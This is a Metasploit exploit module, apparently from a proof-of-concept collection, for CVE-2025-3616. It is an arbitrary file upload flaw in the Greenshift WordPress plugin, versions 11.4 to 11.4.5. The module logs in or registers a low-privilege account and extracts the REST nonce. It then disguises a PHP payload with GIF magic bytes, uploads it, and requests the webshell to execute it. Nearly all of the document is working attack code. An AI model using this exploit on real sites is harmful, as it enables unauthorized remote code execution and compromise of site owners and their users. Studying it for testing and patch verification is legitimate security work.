4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / wp_greenshift_file_upload.rb RB
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Greenshift WordPress Plugin Arbitrary File Upload (CVE-2025-3616)',
        'Description' => %q{
          This module exploits an arbitrary file upload vulnerability in the Greenshift
          WordPress plugin versions 11.4 through 11.4.5. The vulnerability allows
          authenticated users (Subscriber level or higher) to upload arbitrary files
          via the 'gspb_make_proxy_api_request' function in the REST API.

          The vulnerability exists because the plugin checks the MIME type using 'finfo_file'
          but trusts the file extension provided by the user. By adding GIF magic bytes (GIF89a;)
          to a PHP file, an attacker can bypass the check and upload an executable PHP webshell.
          The upload requires a valid 'wp_rest' nonce, which this module extracts from the 
          WordPress dashboard after authentication.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Nizar',
        ],
        'References' => [
          ['CVE', '2025-3616'],
          ['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/greenshift-query-and-post-blocks/greenshift-animation-and-page-builder-blocks-1140-1145-arbitrary-file-upload']
        ],
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [
          ['WordPress Greenshift Plugin < 11.4.6', {}]
        ],
        'DisclosureDate' => '2025-04-29',
        'DefaultTarget' => 0
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to the WordPress installation', '/']),
        OptString.new('USERNAME', [false, 'The username to authenticate as (generated if registering)', '']),
        OptString.new('PASSWORD', [false, 'The password to authenticate with', '']),
        OptBool.new('REGISTER', [false, 'Register a new user to exploit', false]),
        OptString.new('EMAIL', [false, 'Email for registration (random if empty)', ''])
      ]
    )
  end

  def check
    readme_uri = normalize_uri(target_uri.path, 'wp-content/plugins/greenshift-animation-and-page-builder-blocks/readme.txt')
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => readme_uri
    )

    if res && res.code == 200
      version = res.body.scan(/Stable tag: ([\d\.]+)/).flatten.first
      if version && Rex::Version.new(version) >= Rex::Version.new('11.4') && Rex::Version.new(version) < Rex::Version.new('11.4.6')
        return Exploit::CheckCode::Appears
      elsif version
        vprint_status("Detected version: #{version}")
        return Exploit::CheckCode::Safe
      end
    end
    
    return Exploit::CheckCode::Unknown
  end

  def get_nonce(cookie_jar)
    print_status('Extracting REST API nonce from admin interface...')
    
    uri = normalize_uri(target_uri.path, 'wp-admin/post-new.php')
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => uri,
      'cookie' => cookie_jar
    )

    nonce = nil
    if res && res.code == 200
      if res.body =~ /wpApiSettings\s*=\s*{.*?"nonce":"([a-f0-9]{10})"/m
        nonce = $1
      elsif res.body =~ /"nonce":"([a-f0-9]{10})"/
        nonce = $1
      end
    end

    nonce
  end

  def wp_login(user, pass)
    print_status("Authenticating as #{user}...")
    
    login_uri = normalize_uri(target_uri.path, 'wp-login.php')
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => login_uri,
      'vars_post' => {
        'log' => user,
        'pwd' => pass,
        'wp-submit' => 'Log In',
        'testcookie' => '1',
        'redirect_to' => normalize_uri(target_uri.path, 'wp-admin/')
      }
    )

    if res && (res.code == 302 || res.code == 200) && res.get_cookies.include?('wordpress_logged_in')
      print_good("Authenticated successfully")
      return res.get_cookies
    else
      return nil
    end
  end

  def wp_register(user, email)
    print_status("Registering new account for #{user} (#{email})...")
    
    register_uri = normalize_uri(target_uri.path, 'wp-login.php')
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => register_uri,
      'vars_get' => { 'action' => 'register' },
      'vars_post' => {
        'user_login' => user,
        'user_email' => email,
        'wp-submit' => 'Register'
      }
    )

    if res && (res.code == 302 || res.code == 200) && res.get_cookies.include?('wordpress_logged_in')
      print_good("Registration successful - Cookies received!")
      return res.get_cookies
    else
      return nil
    end
  end

  def exploit
    cookies = nil

    if datastore['REGISTER']
      user = datastore['USERNAME'].blank? ? Rex::Text.rand_text_alpha(8) : datastore['USERNAME']
      email = datastore['EMAIL'].blank? ? "#{user}@local.test" : datastore['EMAIL']
      cookies = wp_register(user, email)
      fail_with(Failure::NoAccess, 'Registration failed (no cookies received)') unless cookies
    else
      fail_with(Failure::BadConfig, 'USERNAME and PASSWORD are required when REGISTER is false') if datastore['USERNAME'].blank? || datastore['PASSWORD'].blank?
      cookies = wp_login(datastore['USERNAME'], datastore['PASSWORD'])
      fail_with(Failure::NoAccess, 'Authentication failed') unless cookies
    end

    nonce = get_nonce(cookies)
    fail_with(Failure::UnexpectedReply, 'Could not retrieve WP REST API nonce') unless nonce
    print_good("Found nonce: #{nonce}")

    gif_header = "GIF89a;\n" 
    php_payload = gif_header + payload.encoded
    
    filename = Rex::Text.rand_text_alpha(8) + '.php'

    print_status("Uploading payload #{filename}...")
    
    mime_data = Rex::MIME::Message.new
    mime_data.add_part(php_payload, 'image/gif', nil, "form-data; name=\"file\"; filename=\"#{filename}\"")
    mime_data.add_part('media_upload', nil, nil, 'form-data; name="type"')
    
    exploit_uri = normalize_uri(target_uri.path, 'wp-json/greenshift/v1/proxy-api')
    
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => exploit_uri,
      'ctype' => "multipart/form-data; boundary=#{mime_data.bound}",
      'data' => mime_data.to_s,
      'headers' => {
        'X-WP-Nonce' => nonce
      },
      'cookie' => cookies
    )

    shell_url = nil
    if res && res.code == 200
      json = res.get_json_document
      if json['success'] && json['file_url']
        shell_url = json['file_url']
        print_good("File uploaded successfully: #{shell_url}")
        
        register_file_for_cleanup(filename)
      else
        print_error("JSON response did not indicate success or missing file_url: #{res.body}")
      end
    else
      print_error("Upload failed with code #{res.code} if response received")
      if res
        print_error("Body: #{res.body}")
      end
    end

    fail_with(Failure::Unknown, 'Failed to extract shell URL from response') unless shell_url

    print_status("Triggering payload at #{shell_url}...")
    send_request_cgi(
      'method' => 'GET',
      'uri' => shell_url
    )
  end
end